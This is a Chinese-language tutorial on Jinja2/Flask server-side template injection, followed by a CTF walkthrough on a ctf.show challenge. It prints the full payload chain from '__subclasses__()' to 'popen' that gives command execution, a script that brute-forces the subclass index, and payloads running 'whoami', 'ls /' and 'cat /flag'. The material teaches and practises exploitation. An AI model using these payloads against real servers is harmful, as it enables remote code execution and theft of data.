SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。
模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
以下面一段python代码为例:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/test")
def index():
name = request.args.get('name')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
可以看到服务端的逻辑是接收前端输入的name参数,然后将其在后端拼接成"hello "+name的形式再返回给前端展示。可以看到当我们输入参数name=world的时候,前端展示出hello world的页面。
但是当我们输入name={{7*7}}的时候,页面展示的却不是hello {{7*7}}而是hello 49。
这是因为在模板中{{}}在模板中的作用是用来将表达式打印到模板输出。常见的还有{%…%}和{#…#}。
{% ... %} 用来声明变量或控制结构
{{ ... }} 用来将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释
在模板注入中,我们常用的是{{}} 和 {%%}
检测是否存在SSTI模板注入的方法就是在参数添加或者url后面添加{{7*7}},如果页面返回了7*7的结果49,即可证明存在模板注入漏洞。
在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令
''.__class__
().__class__
[].__class__
"".__class__
__class__可以获得内置类所对应的类
''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__
''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]
__base__获得最高的父类
__mro__获得所有的父类
''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()
''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
__subclasses__()获得所有的子类
我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:
num = 0
for item in ''.__class__.__base__.__subclasses__():
try:
if 'popen' in item.__init__.__globals__:
print(num, item)
num += 1
except:
num += 1
# __init__.__globals__可以获得类中的所有变量和方法
可以看到该子类的索引值为118。
注意根据python版本的不同或者flask、jinjia2的版本不同,子类的索引值也可能会随之不同!!!
''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']
__init__.__globals__可以获得类中所有的变量以及方法
我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。
''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()
这就是我们利用SSTI漏洞的一个基本流程。
点击题目链接。
由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下。
可以看到world被输出。
接下我们开始测试该站是否存在SSTI漏洞。
我们输入name={{7*7}}看页面是否输出49?
可以看到页面输出了49,代表存在SSTI模板注入漏洞。
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__}}
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}
由于该网站的python版本以及模板引擎的版本可能与我们本地测试的版本不一样,所以我们不能使用本地测试所得到可以执行shell命令子类的索引值。
这样我们可以通过一段python脚本来判断可以执行shell命令子类的索引值。
我们以子类是否存在popen方法为例:
脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。
import requests
for num in range(500):
try:
url = "http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
except:
pass
成功找到索引值。
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
执行命令成功,成功列出根目录内容。
接下来就是获取flag了。
http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
成功拿到flag值。
SSTI模板注入漏洞就是服务端没有对用户输入的内容进行过滤,导致服务器没有对输入的内容尽进行任何处理就将其作为Web应用模板内容的一部分,使得模板引擎在进行编译渲染的过程中,执行了用户插入的破坏模板的语句。
我们一般的攻击方式就是想办法获得object的所有子类,因为子类中包含有可以执行命令或文件读取的方法,我们获得这些方法就可以对目标服务器进行攻击。